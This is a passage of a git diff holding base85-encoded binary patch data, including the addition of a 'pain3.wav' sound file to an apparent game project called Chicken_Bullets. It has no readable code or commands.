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 literal 0 HcmV?d00001 diff --git a/Repos/Chicken_Bullets-master/sound/chicken/pain3.wav b/Repos/Chicken_Bullets-master/sound/chicken/pain3.wav new file mode 100644 index 0000000000000000000000000000000000000000..3de4d08452a29f96cf8aa440cb974197604dfd43 GIT binary patch literal 27646 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 L6U8pDVrzU<`5F_+W(}- zZZik^m@!S)zxz_RqawO$ch$@KZK@~wY|UUTsdds_5=gBkJKS*$w~m#!5Vwi*!fvdV z@$1fN_}1z{cZwaIc+ZJ0w;iTh=mpa#&*p#1guliVH2$`0_E5Fx5}85ROsT((yYn^M zkrqcR&zq=CDy_!|$~AK|s?ML(ed`%sheBwd`SR7qn&#x%!%dr7PAk4O9dFXKKI~4` zyrwQ-mj$;>9qcxFtAiMy@oqhAm12xYV_#}S&C|+*t7_`!wp`Y3Hpa1p_>Q^2VZ7rt z(-bs8xvTbZbzs%k=Gp9BiJi@JhoNS!(rmL4=3~rum@LKSX@_-uX&ursqNPpGvKRS0 zQJDCa*>Q(_ryVYP>>A8I%1xz{#Jh1%-N=@_8g=C(#c8TqRAjoqaqwzvl6{Qp1kQI?5xP9tF>LlG9 zog48=6hhRBMv2Emg?5|nsf#i$F$@*Fu@kst`p8^ZQm4;vh%D~?tF3sEq8fd$jq`Kw z(bIFE#WLb4tE4_bKKPii(GPDQ)M?(`L%oNw6_oN)>IpWGsN=5^p?q(HGxJL_$?2$% zpXVmCXU4l-%eBGeG5b=N;SO;YuLagf)-|O5kNW;KL3Q1o;p&y0=aq$Rd95$>!+2jh z!uY_jRx=_DK#s7TFfr?j0ujyRBd8)S{NsqMG&10~AYJ{0s!Q z5&aO3B5z~Eh*=VMYdcGGqKEFO;;)wd*e&@8%N$po<42qRc01%WVZu7AG_AuGR~pYX zR2HXZ9{T<@1FQJmeMT7U{yF$VuNCoL1H=Pg#smc%aabja=1PdMbb^sCcdkyuJP~II{jtsVbIa2Xy`czo5HCzIlRc7UCif(N%WC8+#ZAINf^cEE z@TYjV;5*%>c5geb2vfv1ZE8@qXH!;eC7;I(?#4RSDK51Bt-UG;bd3*Z-<>1!dnqWDP4qwJip*@Rm5$^sHE-{#v!>=h$~$A2w9B znrQmonBqKZ(1geF@1l15-?TX;aPC$$4rs=^TlfHz`6dSqN#&X!rXMnsWS>ei=adH; zC3b?~qPU`1+u$0HQ5FM4OGWmWoGR9ob{$h%YV>-&fhM|TrDnrS?+HSf)t%GY|5Oj| z>S#-@q4Q^CJpHkz;)-#t?MCl6f%n5!hHsAY?(;ojzSmQW-r`Q#UAa(hN2pu;3+V4- zejF(Hr_!&{ueGkJra4@b#`Gkwi_Gv6W-Q+&dF#;?kr~w-Jt-j3HqZ2w@K1akHN8bx zEiEl5>aOdplyq0Cs}+vFrx%##78abToTx4{S>`f6BrV}`|K$Tm_n++j&}y}m6M9&? zyKJ(}7wpp&H0`apR`sjuXxZib_t__Ml1hJe?xY;ZPLt8n<#L(DMR5r>fZxuo5e%^L z^-A)O_eilEDSs(?E&5j+!Y6nxHd8G?U#m^+L!fN_d31J{`JCx`h*9E zBt*{dx23OtuY;b~q{r}6f>ZK(bAjlN*0yriPs7($Z!_Q5=l@&1Svkhk)nSe037Y|y z4@^%<2MC8t6GWHE3ei%+0do*8A`3*AoR-O~AKFc@d1bXi?#e_pd1ZY{=AKwSIF>rB z$h2*^S-i(-pV}Vo!L6av$k7p>fvgN76(j_gBuCtL24PQ~K7;}s*y@Bb23|IxC9HuA|` z7aM<-zAw_0gjc%O->ffaJHSU<5^m`}jb3wHwO&&LH$}0D7X5Dec9^=*4&8B`UbTN` z-TR<_^X6U9_hAK@<&KI`s(F+R*;i&_=VTvbJHfuzb3xAsaq7g%#CcJnftTIuW!aiX z4Rr;Mnd|a`ODi&!QnV&lBmGCwDCL<%cMnj*m=x5Pn_Q}EAV~&U3 